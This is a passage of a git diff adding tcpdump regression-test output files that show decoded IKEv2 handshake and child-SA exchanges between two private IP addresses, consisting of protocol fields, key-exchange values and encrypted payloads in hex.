+    (v2ke: len=128 group=modp1024 b5445bd60cece6fdcd3c96a52cbb7bb426a8c7a0f56a9c38d1b1c4f0c3a6e8e7dba5c7339b6ed02e757119dfb5b6933ce93b604987fbbc77221b2a0c7cdd32787eff10572bef546c361462f9da34847969a42e51c755996beac42e6fba961a75de0fc1b23f099380896ee89202122dedac1bd54aa8494ac3d740be4d2a4cf39d)
+    (nonce: len=32 nonce=(6128ebd023a864e94a7ffb74bf7cce2fd4367322b8b073f942282bd52ebfe3e6) )
+    (n: prot_id=#0 type=16388(nat_detection_source_ip))
+    (n: prot_id=#0 type=16389(nat_detection_destination_ip))
+IP (tos 0x0, ttl 64, id 19911, offset 0, flags [none], proto UDP (17), length 332)
+    192.168.1.1.500 > 192.168.1.2.500: [bad udp cksum 0x071d -> 0x8650!] isakmp 2.0 msgid 00000000 cookie a88875a8198992a6->71be8358efae7663: parent_sa ikev2_init[R]:
+    (sa: len=44
+        (p: #1 protoid=isakmp transform=4 len=44
+            (t: #1 type=encr id=aes (type=keylen value=0080))
+            (t: #2 type=prf id=hmac-sha )
+            (t: #3 type=integ id=hmac-sha )
+            (t: #4 type=dh id=modp1024 )))
+    (v2ke: len=128 group=modp1024 5a56714d3abf64e3a3f401ead9f5323ff0b77faa5f1e99199b13ac821f0a0c4f854786ca09b7a76aa508bcee11f16369a16d5fa041ca2d9a8dfa8228c61f2482d2175c5c1a9491fc221bec7a1fa69f656d4c98ba49ae9d721dedf4a02d7ecdfc201dc785a13ed74e4f3982762a2720ffdfc365ee4e37279af496cd86f881fd15)
+    (nonce: len=32 nonce=(b31c379f272ce2984bd17ca38c8729e1edbc081a14fb0f67cff81721dfeec1f9) )
+    (n: prot_id=#0 type=16388(nat_detection_source_ip))
+    (n: prot_id=#0 type=16389(nat_detection_destination_ip))
+IP (tos 0x0, ttl 64, id 19912, offset 0, flags [none], proto UDP (17), length 264)
+    192.168.1.2.500 > 192.168.1.1.500: [bad udp cksum 0x07d9 -> 0xb2d6!] isakmp 2.0 msgid 00000001 cookie a88875a8198992a6->71be8358efae7663: child_sa  ikev2_auth[I]:
+    (v2e: len=204 f606135ad373e70836fda91b63ca4c608e1ad58218488c2647ff1e8a912958aa77efbc3068a2ae6ab7c3d0cb1e6fb864df99c62f2cc045708084708154a393c2f4cbefad1f6848525d49db563e13345a4e6e2fd066c04e2ce291f4714baec6bf328356c446247cab835bda3e8e1aae5967248f01eb3a1c02a541b4da09b3276b400d50a067542a678468c5f41e54017c00964f1003f8c88896a6f12215a5f1a060713cc83802cae3abee18417c0c35dc6f58a01adb96ed1c009c68e3069ae70f4b10afb7736c111ade4d826e)
+IP (tos 0x0, ttl 64, id 19913, offset 0, flags [none], proto UDP (17), length 184)
+    192.168.1.1.500 > 192.168.1.2.500: [bad udp cksum 0x0689 -> 0x0748!] isakmp 2.0 msgid 00000001 cookie a88875a8198992a6->71be8358efae7663: child_sa  ikev2_auth[R]:
+    (v2e: len=124 6afe95bc5147b0ad7e4ccb9141c160a44f7c6eddc6b29d414ad5e2b882544fdc6c3ee6983ae1408b5764b1649343876454d1bf4d515aaf03c15eafe71be6b4cf51ab60630c45bcf0e2a2db8eee70095a4e010fdb342adb6d03dae5def9d4907cdfc8ccd6f3da9b7497c58e84a952d983bafb941ab1de1b0bb9ffad3b)
+IP (tos 0x0, ttl 64, id 19914, offset 0, flags [none], proto UDP (17), length 280)
+    192.168.1.2.500 > 192.168.1.1.500: [bad udp cksum 0x07e9 -> 0x35ac!] isakmp 2.0 msgid 00000002 cookie a88875a8198992a6->71be8358efae7663: child_sa  child_sa[I]:
+    (v2e: len=220 53cc6c0b41f14e4fc057c7f6a3524adde8521f26f67c058430a902db1a52ed16d322630d2eb515372dc12d97dc7c20552607e2ed193d9b33939e10aa2fc37b6199f0a629c6b58135f5b6f9e07906cd30dc3cae7d55fe08d95d3e660a623731c396a325adbff11c490f9fd102224391a65fb7bbe862945b64cf1fb833b9ce68c83df0b9d2ce7bd54f650864af9445e547cdfe5caa393344ae5274933b7efcf616821ea7daa9c5a6e8275ad6c688700cb7f4bcd6fb8025e93bb6dd5f581faebcbecb798c87617a4ec1b06ba290ac5fc1d6e4c2725c1f9f0e10b144fbbe)
+IP (tos 0x0, ttl 64, id 19915, offset 0, flags [none], proto UDP (17), length 248)
+    192.168.1.2.500 > 192.168.1.1.500: [bad udp cksum 0x06c9 -> 0xdeaf!] isakmp 2.0 msgid 00000003 cookie a88875a8198992a6->71be8358efae7663: child_sa  child_sa[I]:
+    (v2e: len=188 9603e03f280964782717da15a502f0a9e9f17dbf4487c6923cf00b7040d539bc947c705790e4e99b834a7ae2a8d79f5620e11615e0a762889aab821e0d03132dfb8cc6b3718582411bcd98c242a8b10a66274dae1ce055fb30a4d3e64c969be6e08b626958f4446c6e4a0c8d7a24522959c6152e63a575c06930c2097539bfbdff08c70533428cf6b452e0b8b0259c2292925d2ed62e8956bc7e3a911a61509be1ac8f7b7cd4636176e524f4d0f17573f2aeddce2251fd6d5d9cd54d)
+IP (tos 0x0, ttl 64, id 19916, offset 0, flags [none], proto UDP (17), length 104)
+    192.168.1.1.500 > 192.168.1.2.500: [bad udp cksum 0x0639 -> 0xc72b!] isakmp 2.0 msgid 00000002 cookie a88875a8198992a6->71be8358efae7663: child_sa  child_sa[R]:
+    (v2e: len=44 5bd2d26cb43b6cec30dec13fa387359797baf7b41e783422bc4dabf5d03ab2420d277d3b2f28d1f003da98d1)
+IP (tos 0x0, ttl 64, id 19917, offset 0, flags [none], proto UDP (17), length 104)
+    192.168.1.1.500 > 192.168.1.2.500: [bad udp cksum 0x0639 -> 0x4119!] isakmp 2.0 msgid 00000003 cookie a88875a8198992a6->71be8358efae7663: child_sa  child_sa[R]:
+    (v2e: len=44 38f60ab69110967961ae04af4e47a770260d61e29d18fb13ce093a47970068dacb342f7999cc3d0d59f77a94)
+IP (tos 0x0, ttl 64, id 19918, offset 0, flags [none], proto UDP (17), length 312)
+    192.168.1.2.500 > 192.168.1.1.500: [bad udp cksum 0x0709 -> 0x236f!] isakmp 2.0 msgid 00000004 cookie a88875a8198992a6->71be8358efae7663: child_sa  child_sa[I]:
+    (v2e: len=252 c7f2f1cc4997b30a61623222d4bfb535baa302199c4d8c1fdcfa745b0b29b5e7618ff0356848444d25010e5ad420760890ede066c838269b22d9e30d4fec1a012e731a210c243f803b661970d32e998e919f573c5742d2288949052c5a46a0cd7c4a1a295ede296c4fd9839b64dc4944e11a35f42a8ce18b447200fd03dbd58a71583b3a27c380148c801ce14452f7d756b1f55b10b84a58cfa9526001fff7157154645022e4456085517ceed98b79e20ed33297cf5ad80287e782728a8c6b87d2b422e7eeda1c72b33ebc51a5b76def9a59ffd1b4f97dec88c22a4f5448a71aeedf20c87dae5b44cd2e7a519d719a509f83f3b2faf6f5c607da609f)
+IP (tos 0x0, ttl 64, id 19919, offset 0, flags [none], proto UDP (17), length 280)
+    192.168.1.2.500 > 192.168.1.1.500: [bad udp cksum 0x07e9 -> 0xd8ba!] isakmp 2.0 msgid 00000005 cookie a88875a8198992a6->71be8358efae7663: child_sa  child_sa[I]:
+    (v2e: len=220 dae6134a9cff1a4e3cc59a79e019a93f8469dd4e2faaaad1c3afba22ecd128fdb1e8954c753f8f62aeb6aac9732f414b065ec39569a670be6980c81eb3e44bc93ec63e9a754d0456c6703cd718371edeef674928180f9d14c39e52cfa4a517368e7db2fa0bfdb41cf56d97006233103f22650fdcd5ffab8418e40903e4749e126d06e9dc2a18cfd5bfda0013e3e9eb53e79bbe30eadf0f4ddcefbab0c08e870b29d39b2401c75b68fc46a066782857ca48d547e410ac15cabb6738875200b535cbd9ae1e1ce99839c9c25639070e5ed977809c50b6bb9550b50b49bb)
+IP (tos 0x0, ttl 64, id 19920, offset 0, flags [none], proto UDP (17), length 232)
+    192.168.1.1.500 > 192.168.1.2.500: [bad udp cksum 0x06b9 -> 0x7194!] isakmp 2.0 msgid 00000004 cookie a88875a8198992a6->71be8358efae7663: child_sa  child_sa[R]:
+    (v2e: len=172 1fd8516b57b1ab1bdbcdba1930a5097decc023c5c534497ca53f178b9d4d11228746454371b0cc6ec067e14e1e5c5652840cfdae0ea84c7f0a6e799ff7fb131d15763feef45e80f24716cde47d23527f68e055a7c3adc7225489295e1bc3f1029b63822872865df55c6c275dead8a6f64bda8ae44f42c318fa71eb04eed7312dafd2dd8665fd5d3225f3aae6f7335b581c3a89c07af1009871dea9927f046432cd01b04234204d01583baf3a)
+IP (tos 0x0, ttl 64, id 19921, offset 0, flags [none], proto UDP (17), length 232)
+    192.168.1.1.500 > 192.168.1.2.500: [bad udp cksum 0x06b9 -> 0x6053!] isakmp 2.0 msgid 00000005 cookie a88875a8198992a6->71be8358efae7663: child_sa  child_sa[R]:
+    (v2e: len=172 f6fc8113f34b92eb7d595a048f57d46593441ad9a61919e5919e7de4454fa35882937d3b74c83ab959fd053c6a12a51b04a0e92e01683782658bb9af2bbcc7a4bd5e1eef2dbcdc7715cac6eaecfbcc051a46f2263d1b8387bdad7e68c6e4ba1be9794e163e484768995a9f4a18edcbc6a44f0a74cb01c318e7848562e0866f388b8d04f14f1af87de7de6cee1f889d4330d82932a7127b7d1a934e641c32b76e33b37706d50286f8cbe335ba)
+IP (tos 0x0, ttl 64, id 19922, offset 0, flags [none], proto UDP (17), length 312)
+    192.168.1.2.500 > 192.168.1.1.500: [bad udp cksum 0x0709 -> 0xfb68!] isakmp 2.0 msgid 00000006 cookie a88875a8198992a6->71be8358efae7663: child_sa  child_sa[I]:
+    (v2e: len=252 0aa2636a3b897ff3fa8093282ad1724ec9f326b64bf998e781d6edbb77a369a8444dc47a4dc095ebd3ac3b1dc337570bc42c93cd6dcb7289bc99a90874e66cc4ede7a13a58ce17c65b185e86def83d66f4c4ddc433e66baf1834e54296671357a5139b0b63ebf32e652df0938badea5a960ee1758e00faa643bed85f7adee2e2e75baeec9e0df88857a67ca5f2a2f4919d0b272313d42c791eb75feca145756a0ccae3640ee98c16689df511443228846d2c5b8830ea6d149c1abed11ad0a28ca33993036e91965d48a82a898145ada994af55978696480ab6cb697e13e67968a7748c3338786efb77250e5411b3a7eac84cd221324bd7b9109d9a69)
+IP (tos 0x0, ttl 64, id 19923, offset 0, flags [none], proto UDP (17), length 280)
+    192.168.1.2.500 > 192.168.1.1.500: [bad udp cksum 0x07e9 -> 0x9881!] isakmp 2.0 msgid 00000007 cookie a88875a8198992a6->71be8358efae7663: child_sa  child_sa[I]:
+    (v2e: len=220 02c703f4bdd83246adc67e1ca07d7e7cfe21b6bde94637680a332813b8a4ca47341abd3a9c37263896c08252bfb1ea6c7ea44783b92ac52acb4fbfec53f03554281c6377650c09208f3d778b11e77b5fbd983be1e96699232392ef31a501fda73c6150fcc2e80bab1e0d49845bd5d511f7c9285ec08352687a2ac8d70d0dec3476491c40b97cb9da405606fc5e8d46bbe199e6d91ae993b7faa0583ec4296a80812fb7e0ae88d3bd54c4a30e5edb2778c960f3e0cb5b1369e999f84de4dc72b5d006805efb7e2d2ed4033e11ff9578012d22942e3799c9382506a021)
+IP (tos 0x0, ttl 64, id 19924, offset 0, flags [none], proto UDP (17), length 232)
+    192.168.1.1.500 > 192.168.1.2.500: [bad udp cksum 0x06b9 -> 0x3549!] isakmp 2.0 msgid 00000006 cookie a88875a8198992a6->71be8358efae7663: child_sa  child_sa[R]:
+    (v2e: len=172 7e2e6623c66e161de9641ac7e1b6dfdcf3a5f45bbed123be88f3754d12514404afc054b3c7f789eb52a432a438359dde31152c11b8d209203d62779ca064823d70536c40f846d43d6694a2f12a3176f57007a3506c82fffaf3dbb713bbdbb5f540b7b39aee3c97145671504356095f7ab0c5a84347c0268bce259ca51b4a2dd75a7e3a7ee79f3bffc58d2fc0ac36686229f2309b5cd0c0dcc2af798664c14f5f166ab5e3c1f693092121aa44)
+IP (tos 0x0, ttl 64, id 19925, offset 0, flags [none], proto UDP (17), length 232)
+    192.168.1.1.500 > 192.168.1.2.500: [bad udp cksum 0x06b9 -> 0xe402!] isakmp 2.0 msgid 00000007 cookie a88875a8198992a6->71be8358efae7663: child_sa  child_sa[R]:
+    (v2e: len=172 7b545033a2d35df2ab9f26c4bc444713910a32e60fb04cb10a9e76634787f9ddc138c6792faa074be2ebcb43f83f444249679018ec6dc7d4e2247dd8cb915778d90fa5597f1ecba8471db53e3b4da8f73d1eb60c23ca9fb5fa599dc526a961364471b49e5288fcef6a24d02a084d29c4a5c5d1fa305310dba01d09c9c36c86c0af297e05d3fc8559a11666a4363bacc354e96c941349b3f60dd397eb4c2bb09f381831167c0b33686c6bb5d8)
+IP (tos 0x0, ttl 64, id 19926, offset 0, flags [none], proto UDP (17), length 392)
+    192.168.1.2.500 > 192.168.1.1.500: [bad udp cksum 0x0759 -> 0x3076!] isakmp 2.0 msgid 00000008 cookie a88875a8198992a6->71be8358efae7663: child_sa  child_sa[I]:
+    (v2e: len=332 c4bf89ec6e7936ac98a432a525c2406de940b338c9149ce19cb1bf23a69dfd481df7b3ada1adbb70bf17074643edf97e63ade5ed07f74674f26c48d2d6a9044477ee9f203084c26e85405987ec8b9693deaea20ce78c2a451bf4e834d7bcc3c54c1322b5f28ba307f2ce31a00552b97b8fc103a29fee2e0040ccddfa10bf3ab3d1209e643c228dec575240c7bd750cf4d6d06c958f66bd8a79831df871f6fbd93e025b16bd03de35ffcdbabac65570d2367e624d9f8e8560da9bc3a2142b75008b7ceb8e839dbf425da74c4be15c9dc31735ef1ac6f65c2375042dcf9682df74259b8c4437d7ee8df19fea6ec1d5bd491409cc7276d70ee0ba9172b4177fbce7fa28171a236ca8e2e0c149e602c9c6a0a3ff5f054287f54b7c314b07cdf6d246241dd364c7419cc0647422d08f5511b13e7b5cb719616466e1c6966f5ccd4d2ca2b12dda7047c6f63af5dd47)
+IP (tos 0x0, ttl 64, id 19927, offset 0, flags [none], proto UDP (17), length 344)
+    192.168.1.1.500 > 192.168.1.2.500: [bad udp cksum 0x0729 -> 0xd64e!] isakmp 2.0 msgid 00000008 cookie a88875a8198992a6->71be8358efae7663: child_sa  child_sa[R]:
+    (v2e: len=284 2c1ac864ae2c8499b3c7af8c61a8c4dc9e1af23577b588d6bb3fdef3e483cc2f0158c07071d6dfaef73dccb6cdcf7a5758e41778daceb71cf6733e17168beff6ef2015d670c0b6574fc72e97d4282909966f394a9f9e0fced8e269bbf60e93f0f2080f48dcd4e02ff1129b94f68b268ddd9cff436f38e78fa7986d87e622d1f3da3b3c2795570ebc27d3c3d51f29ef0fff01ae89bd71d2e10ab8faee7d7bb4b5be8a9ee0ea9b5e347bbaf3ebdfaf19735d75e6faa020d6ea72826c2aa5cb2ee648de6b36cbb25087428dea44bd34504e05f2d4fef43c48e2a690510e9278ca8ff2f775792af061b5ccbcf77b3fee658851289969c55edc6d561718a0c761b09b0f67c96e61d00a7fa2929023b5adcfdd33436f63a478141d51b52333)
+IP (tos 0x0, ttl 64, id 19928, offset 0, flags [none], proto UDP (17), length 120)
+    192.168.1.2.500 > 192.168.1.1.500: [bad udp cksum 0x0649 -> 0x85b7!] isakmp 2.0 msgid 00000000 cookie 1d9be9451d4f97a8->64a2a4b5d0e17b6a: parent_sa inf2[I]:
+    (v2e: len=60 691b48829b6c5d6dd93fa8e33c38dd4c00f5434dc22b4251c0876f0bdb5dbba3dd06283907559a272f07ec7709b9d596a24cd8fe69b82a1f65dbf6f2)
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/ikev2fourv4.out b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/ikev2fourv4.out
new file mode 100644
index 0000000000000000000000000000000000000000..dd6c3ee38105f3d9d809ca03a0951c9feb5fa52b
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/ikev2fourv4.out
@@ -0,0 +1,107 @@
+IP (tos 0x0, ttl 64, id 19908, offset 0, flags [none], proto UDP (17), length 404)
+    192.168.1.2.500 > 192.168.1.1.500: [bad udp cksum 0x0765 -> 0xf5df!] isakmp 2.0 msgid 00000000 cookie a88875a8198992a6->0000000000000000: parent_sa ikev2_init[I]:
+    (sa: len=116
+        (p: #1 protoid=isakmp transform=12 len=116
+            (t: #1 type=encr id=aes (type=keylen value=0080))
+            (t: #2 type=encr id=aes (type=keylen value=0100))
+            (t: #3 type=encr id=aes (type=keylen value=00c0))
+            (t: #4 type=encr id=3des )
+            (t: #5 type=prf id=hmac-sha )
+            (t: #6 type=prf id=hmac-md5 )
+            (t: #7 type=prf id=aes128_xcbc )
+            (t: #8 type=integ id=hmac-sha )
+            (t: #9 type=integ id=hmac-md5 )
+            (t: #10 type=integ id=aes-xcbc )
+            (t: #11 type=dh id=modp1024 )
+            (t: #12 type=dh id=modp2048 )))
+    (v2ke: len=128 group=modp1024 b5445bd60cece6fdcd3c96a52cbb7bb426a8c7a0f56a9c38d1b1c4f0c3a6e8e7dba5c7339b6ed02e757119dfb5b6933ce93b604987fbbc77221b2a0c7cdd32787eff10572bef546c361462f9da34847969a42e51c755996beac42e6fba961a75de0fc1b23f099380896ee89202122dedac1bd54aa8494ac3d740be4d2a4cf39d)
+    (nonce: len=32 nonce=(6128ebd023a864e94a7ffb74bf7cce2fd4367322b8b073f942282bd52ebfe3e6) )
+    (n: prot_id=#0 type=16388(nat_detection_source_ip) data=(442ffe5aea0cee4dbacc758e801233bdc09a0abf0000001c00004005ba041b5de59955900d818ac54e18b236739d9e8b))
+    (n: prot_id=#0 type=16389(nat_detection_destination_ip) data=(ba041b5de59955900d818ac54e18b236739d9e8b))
+IP (tos 0x0, ttl 64, id 19909, offset 0, flags [none], proto UDP (17), length 88)
+    192.168.1.1.500 > 192.168.1.2.500: [bad udp cksum 0x0629 -> 0x0cd0!] isakmp 2.0 msgid 00000000 cookie a88875a8198992a6->0000000000000000: parent_sa ikev2_init[R]:
+    (n: prot_id=#0 type=16390(cookie) data=(00000001c2221e50c16e123f2b0c71aefcf0cb3b798782c6))
+IP (tos 0x0, ttl 64, id 19910, offset 0, flags [none], proto UDP (17), length 436)
+    192.168.1.2.500 > 192.168.1.1.500: [bad udp cksum 0x0785 -> 0x7702!] isakmp 2.0 msgid 00000000 cookie a88875a8198992a6->0000000000000000: parent_sa ikev2_init[I]:
+    (n: prot_id=#0 type=16390(cookie) data=(00000001c2221e50c16e123f2b0c71aefcf0cb3b798782c622000078000000740101000c0300000c0100000c800e00800300000c0100000c800e01000300000c0100000c800e00c003000008010000030300000802000002030000080200000103000008020000040300000803000002030000080300000103000008030000050300000804000002000000080400000e2800008800020000b5445bd60cece6fdcd3c96a52cbb7bb426a8c7a0f56a9c38d1b1c4f0c3a6e8e7dba5c7339b6ed02e757119dfb5b6933ce93b604987fbbc77221b2a0c7cdd32787eff10572bef546c361462f9da34847969a42e51c755996beac42e6fba961a75de0fc1b23f099380896ee89202122dedac1bd54aa8494ac3d740be4d2a4cf39d290000246128ebd023a864e94a7ffb74bf7cce2fd4367322b8b073f942282bd52ebfe3e62900001c00004004442ffe5aea0cee4dbacc758e801233bdc09a0abf0000001c00004005ba041b5de59955900d818ac54e18b236739d9e8b))
+    (sa: len=116
+        (p: #1 protoid=isakmp transform=12 len=116
+            (t: #1 type=encr id=aes (type=keylen value=0080))
+            (t: #2 type=encr id=aes (type=keylen value=0100))
+            (t: #3 type=encr id=aes (type=keylen value=00c0))
+            (t: #4 type=encr id=3des )
+            (t: #5 type=prf id=hmac-sha )
+            (t: #6 type=prf id=hmac-md5 )
+            (t: #7 type=prf id=aes128_xcbc )
+            (t: #8 type=integ id=hmac-sha )
+            (t: #9 type=integ id=hmac-md5 )
+            (t: #10 type=integ id=aes-xcbc )
+            (t: #11 type=dh id=modp1024 )
+            (t: #12 type=dh id=modp2048 )))
+    (v2ke: len=128 group=modp1024 b5445bd60cece6fdcd3c96a52cbb7bb426a8c7a0f56a9c38d1b1c4f0c3a6e8e7dba5c7339b6ed02e757119dfb5b6933ce93b604987fbbc77221b2a0c7cdd32787eff10572bef546c361462f9da34847969a42e51c755996beac42e6fba961a75de0fc1b23f099380896ee89202122dedac1bd54aa8494ac3d740be4d2a4cf39d)
+    (nonce: len=32 nonce=(6128ebd023a864e94a7ffb74bf7cce2fd4367322b8b073f942282bd52ebfe3e6) )
+    (n: prot_id=#0 type=16388(nat_detection_source_ip) data=(442ffe5aea0cee4dbacc758e801233bdc09a0abf0000001c00004005ba041b5de59955900d818ac54e18b236739d9e8b))
+    (n: prot_id=#0 type=16389(nat_detection_destination_ip) data=(ba041b5de59955900d818ac54e18b236739d9e8b))
+IP (tos 0x0, ttl 64, id 19911, offset 0, flags [none], proto UDP (17), length 332)
+    192.168.1.1.500 > 192.168.1.2.500: [bad udp cksum 0x071d -> 0x8650!] isakmp 2.0 msgid 00000000 cookie a88875a8198992a6->71be8358efae7663: parent_sa ikev2_init[R]:
+    (sa: len=44
+        (p: #1 protoid=isakmp transform=4 len=44
+            (t: #1 type=encr id=aes (type=keylen value=0080))
+            (t: #2 type=prf id=hmac-sha )
+            (t: #3 type=integ id=hmac-sha )
+            (t: #4 type=dh id=modp1024 )))
+    (v2ke: len=128 group=modp1024 5a56714d3abf64e3a3f401ead9f5323ff0b77faa5f1e99199b13ac821f0a0c4f854786ca09b7a76aa508bcee11f16369a16d5fa041ca2d9a8dfa8228c61f2482d2175c5c1a9491fc221bec7a1fa69f656d4c98ba49ae9d721dedf4a02d7ecdfc201dc785a13ed74e4f3982762a2720ffdfc365ee4e37279af496cd86f881fd15)
+    (nonce: len=32 nonce=(b31c379f272ce2984bd17ca38c8729e1edbc081a14fb0f67cff81721dfeec1f9) )
+    (n: prot_id=#0 type=16388(nat_detection_source_ip) data=(fe2bfb7c2c81ed0b61f756b57fac78a75ced8af60000001c00004005905954a783be2c37e2ccc4fdd270a532dbe6f428))
+    (n: prot_id=#0 type=16389(nat_detection_destination_ip) data=(905954a783be2c37e2ccc4fdd270a532dbe6f428))
+IP (tos 0x0, ttl 64, id 19912, offset 0, flags [none], proto UDP (17), length 264)
+    192.168.1.2.500 > 192.168.1.1.500: [bad udp cksum 0x07d9 -> 0xb2d6!] isakmp 2.0 msgid 00000001 cookie a88875a8198992a6->71be8358efae7663: child_sa  ikev2_auth[I]:
+    (v2e: len=204 f606135ad373e70836fda91b63ca4c608e1ad58218488c2647ff1e8a912958aa77efbc3068a2ae6ab7c3d0cb1e6fb864df99c62f2cc045708084708154a393c2f4cbefad1f6848525d49db563e13345a4e6e2fd066c04e2ce291f4714baec6bf328356c446247cab835bda3e8e1aae5967248f01eb3a1c02a541b4da09b3276b400d50a067542a678468c5f41e54017c00964f1003f8c88896a6f12215a5f1a060713cc83802cae3abee18417c0c35dc6f58a01adb96ed1c009c68e3069ae70f4b10afb7736c111ade4d826e)
+IP (tos 0x0, ttl 64, id 19913, offset 0, flags [none], proto UDP (17), length 184)
+    192.168.1.1.500 > 192.168.1.2.500: [bad udp cksum 0x0689 -> 0x0748!] isakmp 2.0 msgid 00000001 cookie a88875a8198992a6->71be8358efae7663: child_sa  ikev2_auth[R]:
+    (v2e: len=124 6afe95bc5147b0ad7e4ccb9141c160a44f7c6eddc6b29d414ad5e2b882544fdc6c3ee6983ae1408b5764b1649343876454d1bf4d515aaf03c15eafe71be6b4cf51ab60630c45bcf0e2a2db8eee70095a4e010fdb342adb6d03dae5def9d4907cdfc8ccd6f3da9b7497c58e84a952d983bafb941ab1de1b0bb9ffad3b)
+IP (tos 0x0, ttl 64, id 19914, offset 0, flags [none], proto UDP (17), length 280)
+    192.168.1.2.500 > 192.168.1.1.500: [bad udp cksum 0x07e9 -> 0x35ac!] isakmp 2.0 msgid 00000002 cookie a88875a8198992a6->71be8358efae7663: child_sa  child_sa[I]:
+    (v2e: len=220 53cc6c0b41f14e4fc057c7f6a3524adde8521f26f67c058430a902db1a52ed16d322630d2eb515372dc12d97dc7c20552607e2ed193d9b33939e10aa2fc37b6199f0a629c6b58135f5b6f9e07906cd30dc3cae7d55fe08d95d3e660a623731c396a325adbff11c490f9fd102224391a65fb7bbe862945b64cf1fb833b9ce68c83df0b9d2ce7bd54f650864af9445e547cdfe5caa393344ae5274933b7efcf616821ea7daa9c5a6e8275ad6c688700cb7f4bcd6fb8025e93bb6dd5f581faebcbecb798c87617a4ec1b06ba290ac5fc1d6e4c2725c1f9f0e10b144fbbe)
+IP (tos 0x0, ttl 64, id 19915, offset 0, flags [none], proto UDP (17), length 248)
+    192.168.1.2.500 > 192.168.1.1.500: [bad udp cksum 0x06c9 -> 0xdeaf!] isakmp 2.0 msgid 00000003 cookie a88875a8198992a6->71be8358efae7663: child_sa  child_sa[I]:
+    (v2e: len=188 9603e03f280964782717da15a502f0a9e9f17dbf4487c6923cf00b7040d539bc947c705790e4e99b834a7ae2a8d79f5620e11615e0a762889aab821e0d03132dfb8cc6b3718582411bcd98c242a8b10a66274dae1ce055fb30a4d3e64c969be6e08b626958f4446c6e4a0c8d7a24522959c6152e63a575c06930c2097539bfbdff08c70533428cf6b452e0b8b0259c2292925d2ed62e8956bc7e3a911a61509be1ac8f7b7cd4636176e524f4d0f17573f2aeddce2251fd6d5d9cd54d)
+IP (tos 0x0, ttl 64, id 19916, offset 0, flags [none], proto UDP (17), length 104)
+    192.168.1.1.500 > 192.168.1.2.500: [bad udp cksum 0x0639 -> 0xc72b!] isakmp 2.0 msgid 00000002 cookie a88875a8198992a6->71be8358efae7663: child_sa  child_sa[R]:
+    (v2e: len=44 5bd2d26cb43b6cec30dec13fa387359797baf7b41e783422bc4dabf5d03ab2420d277d3b2f28d1f003da98d1)
+IP (tos 0x0, ttl 64, id 19917, offset 0, flags [none], proto UDP (17), length 104)
+    192.168.1.1.500 > 192.168.1.2.500: [bad udp cksum 0x0639 -> 0x4119!] isakmp 2.0 msgid 00000003 cookie a88875a8198992a6->71be8358efae7663: child_sa  child_sa[R]:
+    (v2e: len=44 38f60ab69110967961ae04af4e47a770260d61e29d18fb13ce093a47970068dacb342f7999cc3d0d59f77a94)
+IP (tos 0x0, ttl 64, id 19918, offset 0, flags [none], proto UDP (17), length 312)
+    192.168.1.2.500 > 192.168.1.1.500: [bad udp cksum 0x0709 -> 0x236f!] isakmp 2.0 msgid 00000004 cookie a88875a8198992a6->71be8358efae7663: child_sa  child_sa[I]:
+    (v2e: len=252 c7f2f1cc4997b30a61623222d4bfb535baa302199c4d8c1fdcfa745b0b29b5e7618ff0356848444d25010e5ad420760890ede066c838269b22d9e30d4fec1a012e731a210c243f803b661970d32e998e919f573c5742d2288949052c5a46a0cd7c4a1a295ede296c4fd9839b64dc4944e11a35f42a8ce18b447200fd03dbd58a71583b3a27c380148c801ce14452f7d756b1f55b10b84a58cfa9526001fff7157154645022e4456085517ceed98b79e20ed33297cf5ad80287e782728a8c6b87d2b422e7eeda1c72b33ebc51a5b76def9a59ffd1b4f97dec88c22a4f5448a71aeedf20c87dae5b44cd2e7a519d719a509f83f3b2faf6f5c607da609f)
+IP (tos 0x0, ttl 64, id 19919, offset 0, flags [none], proto UDP (17), length 280)
+    192.168.1.2.500 > 192.168.1.1.500: [bad udp cksum 0x07e9 -> 0xd8ba!] isakmp 2.0 msgid 00000005 cookie a88875a8198992a6->71be8358efae7663: child_sa  child_sa[I]:
+    (v2e: len=220 dae6134a9cff1a4e3cc59a79e019a93f8469dd4e2faaaad1c3afba22ecd128fdb1e8954c753f8f62aeb6aac9732f414b065ec39569a670be6980c81eb3e44bc93ec63e9a754d0456c6703cd718371edeef674928180f9d14c39e52cfa4a517368e7db2fa0bfdb41cf56d97006233103f22650fdcd5ffab8418e40903e4749e126d06e9dc2a18cfd5bfda0013e3e9eb53e79bbe30eadf0f4ddcefbab0c08e870b29d39b2401c75b68fc46a066782857ca48d547e410ac15cabb6738875200b535cbd9ae1e1ce99839c9c25639070e5ed977809c50b6bb9550b50b49bb)
+IP (tos 0x0, ttl 64, id 19920, offset 0, flags [none], proto UDP (17), length 232)
+    192.168.1.1.500 > 192.168.1.2.500: [bad udp cksum 0x06b9 -> 0x7194!] isakmp 2.0 msgid 00000004 cookie a88875a8198992a6->71be8358efae7663: child_sa  child_sa[R]:
+    (v2e: len=172 1fd8516b57b1ab1bdbcdba1930a5097decc023c5c534497ca53f178b9d4d11228746454371b0cc6ec067e14e1e5c5652840cfdae0ea84c7f0a6e799ff7fb131d15763feef45e80f24716cde47d23527f68e055a7c3adc7225489295e1bc3f1029b63822872865df55c6c275dead8a6f64bda8ae44f42c318fa71eb04eed7312dafd2dd8665fd5d3225f3aae6f7335b581c3a89c07af1009871dea9927f046432cd01b04234204d01583baf3a)
+IP (tos 0x0, ttl 64, id 19921, offset 0, flags [none], proto UDP (17), length 232)
+    192.168.1.1.500 > 192.168.1.2.500: [bad udp cksum 0x06b9 -> 0x6053!] isakmp 2.0 msgid 00000005 cookie a88875a8198992a6->71be8358efae7663: child_sa  child_sa[R]:
+    (v2e: len=172 f6fc8113f34b92eb7d595a048f57d46593441ad9a61919e5919e7de4454fa35882937d3b74c83ab959fd053c6a12a51b04a0e92e01683782658bb9af2bbcc7a4bd5e1eef2dbcdc7715cac6eaecfbcc051a46f2263d1b8387bdad7e68c6e4ba1be9794e163e484768995a9f4a18edcbc6a44f0a74cb01c318e7848562e0866f388b8d04f14f1af87de7de6cee1f889d4330d82932a7127b7d1a934e641c32b76e33b37706d50286f8cbe335ba)
+IP (tos 0x0, ttl 64, id 19922, offset 0, flags [none], proto UDP (17), length 312)
+    192.168.1.2.500 > 192.168.1.1.500: [bad udp cksum 0x0709 -> 0xfb68!] isakmp 2.0 msgid 00000006 cookie a88875a8198992a6->71be8358efae7663: child_sa  child_sa[I]:
